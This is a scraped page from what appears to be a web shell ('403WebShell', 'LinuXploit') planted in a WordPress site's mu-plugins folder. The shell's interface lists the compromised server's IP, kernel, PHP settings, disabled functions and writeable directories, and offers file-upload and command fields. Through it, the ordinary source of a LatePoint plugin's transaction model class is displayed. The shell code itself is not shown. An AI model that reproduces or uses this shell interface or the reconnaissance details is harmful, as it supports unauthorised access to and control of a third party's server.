Warning: chmod(): No such file or directory in /www/wwwroot/scuipturepactory.com/wp-content/mu-plugins/worksec.php on line 7
Uname:Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64

Base Dir : /www/wwwroot/scuipturepactory.com

User : www


403WebShell
403Webshell
Server IP : 47.82.179.145  /  Your IP : 216.73.217.129
Web Server : nginx/1.26.3
System : Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.3.30
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/latepoint/lib/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/latepoint/lib/models/transaction_model.php
<?php

class OsTransactionModel extends OsModel {
	public $id,
		$token,
		$invoice_id,
		$order_id,
		$customer_id,
		$processor,
		$payment_method,
		$payment_portion,
		$access_key,
		$receipt_number,
		$kind,
		$amount,
		$status,
		$notes,
		$updated_at,
		$created_at;

	function __construct($id = false) {
		parent::__construct();
		$this->table_name = LATEPOINT_TABLE_TRANSACTIONS;
		$this->nice_names = ['token' => __('Confirmation Number', 'latepoint')];

		if ($id) {
			$this->load_by_id($id);
		}
	}

	/**
	 * @return OsTransactionRefundModel[]
	 */
	public function get_refunds($force_query = false) : array{
		if(!isset($this->refunds) || $force_query){
			$transaction_refunds = new OsTransactionRefundModel();
			$transaction_refunds = $transaction_refunds->where(['transaction_id' => $this->id])->get_results_as_models();
			$this->refunds = $transaction_refunds;
		}
		return $this->refunds;
	}

	public function get_total_refunded_amount(){
		$refunds = $this->get_refunds();
		$total = 0;
		if($refunds){
			foreach($refunds as $refund){
				$total = $total + $refund->amount;
			}
		}
		return $total;
	}

	public function is_fully_refunded() : bool{
		return !($this->get_total_refunded_amount() < $this->amount);
	}

	public function can_refund() : bool{
		if ( $this->is_new_record() ) return false;
		$can_refund = apply_filters('latepoint_transaction_is_refund_available', false, $this);
		if (!$can_refund) return false;
		if ( $this->is_fully_refunded()) return false;

		return true;
	}

	public function properties_to_query(): array{
		return [
			'payment_method' => __('Payment Method', 'latepoint'),
			'payment_portion' => __('Payment Portion', 'latepoint'),
			'kind' => __('Type', 'latepoint'),
		];
	}

	public function generate_data_vars(): array {
		return [
			'id' => $this->id,
			'order_id' => $this->order_id,
			'invoice_id' => $this->invoice_id,
			'token' => $this->token,
			'customer_id' => $this->customer_id,
			'processor' => $this->processor,
			'payment_method' => $this->payment_method,
			'payment_portion' => $this->payment_portion_nice_name,
			'kind' => $this->kind,
			'status' => $this->status,
			'amount' => OsMoneyHelper::format_price($this->amount),
			'notes' => $this->notes,
		];
	}


	public function get_receipt_url(): string{
		if(empty($this->access_key)) $this->update_attributes(['access_key' => OsUtilHelper::generate_uuid()]);
		return OsRouterHelper::build_admin_post_link( [ 'transactions', 'view_receipt_by_key' ], [ 'key' => $this->access_key ] );
	}

	public function get_invoice_url(): string{
		if(empty($this->invoice_id)) return '';
		$invoice = new OsInvoiceModel($this->invoice_id);
		if($invoice->is_new_record()) return '';
		return $invoice->get_access_url();
	}


	public function filter_allowed_records(): OsModel{
		if(!OsRolesHelper::are_all_records_allowed()){
			// join orders table to filter allowed transactions
			$this->join(LATEPOINT_TABLE_BOOKINGS, ['id' => $this->table_name.'.order_id']);
			$this->select(LATEPOINT_TABLE_TRANSACTIONS.'.*');
			if(!OsRolesHelper::are_all_records_allowed('agent')){
				$this->select(LATEPOINT_TABLE_BOOKINGS.'.agent_id');
				$this->filter_where_conditions([LATEPOINT_TABLE_BOOKINGS.'.agent_id' => OsRolesHelper::get_allowed_records('agent')]);
			}
			if(!OsRolesHelper::are_all_records_allowed('location')){
				$this->select(LATEPOINT_TABLE_BOOKINGS.'.location_id');
				$this->filter_where_conditions([LATEPOINT_TABLE_BOOKINGS.'.location_id' => OsRolesHelper::get_allowed_records('location')]);
			}
			if(!OsRolesHelper::are_all_records_allowed('service')){
				$this->select(LATEPOINT_TABLE_BOOKINGS.'.service_id');
				$this->filter_where_conditions([LATEPOINT_TABLE_BOOKINGS.'.service_id' => OsRolesHelper::get_allowed_records('service')]);
			}
		}
		return $this;
	}

	protected function params_to_sanitize() {
		return ['amount' => 'money'];
	}

	public function generate_receipt_number() : string{
		return strtoupper( OsUtilHelper::random_text( 'distinct', 8 ) );
	}


	protected function before_save() {

		if ( empty( $this->receipt_number ) ) {
			$this->receipt_number = $this->generate_receipt_number();
		}
		if ( empty( $this->access_key ) ) {
			$this->access_key = OsUtilHelper::generate_uuid();
		}
	}

	public function get_payment_portion_nice_name($default = '') {
		$payment_portions = OsPaymentsHelper::get_payment_portions_list();
		$nice_name = (!empty($this->payment_portion) && isset($payment_portions[$this->payment_portion])) ? $payment_portions[$this->payment_portion] : $default;
		return $nice_name;
	}


	protected function get_customer(): OsCustomerModel {
		$order = $this->get_order();
		return $order->customer;
	}

	protected function get_order(): OsOrderModel {
		if ($this->order_id) {
			if (!isset($this->order) || (isset($this->order) && ($this->order->id != $this->order_id))) {
				$this->order = new OsOrderModel($this->order_id);
			}
		} else {
			$this->order = new OsOrderModel();
		}
		return $this->order;
	}

	protected function params_to_save($role = 'admin'): array {
		$params_to_save = array('id',
			'token',
			'invoice_id',
			'order_id',
			'processor',
			'customer_id',
			'payment_method',
			'payment_portion',
			'access_key',
			'receipt_number',
			'kind',
			'amount',
			'status',
			'notes');
		return $params_to_save;
	}


	protected function allowed_params($role = 'admin'): array {
		$allowed_params = array('id',
			'token',
			'invoice_id',
			'order_id',
			'processor',
			'customer_id',
			'payment_method',
			'payment_portion',
			'access_key',
			'receipt_number',
			'kind',
			'amount',
			'status',
			'notes');
		return $allowed_params;
	}


	protected function properties_to_validate() :array {
		$validations = array(
			'order_id' => array('presence'),
		);
		return $validations;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit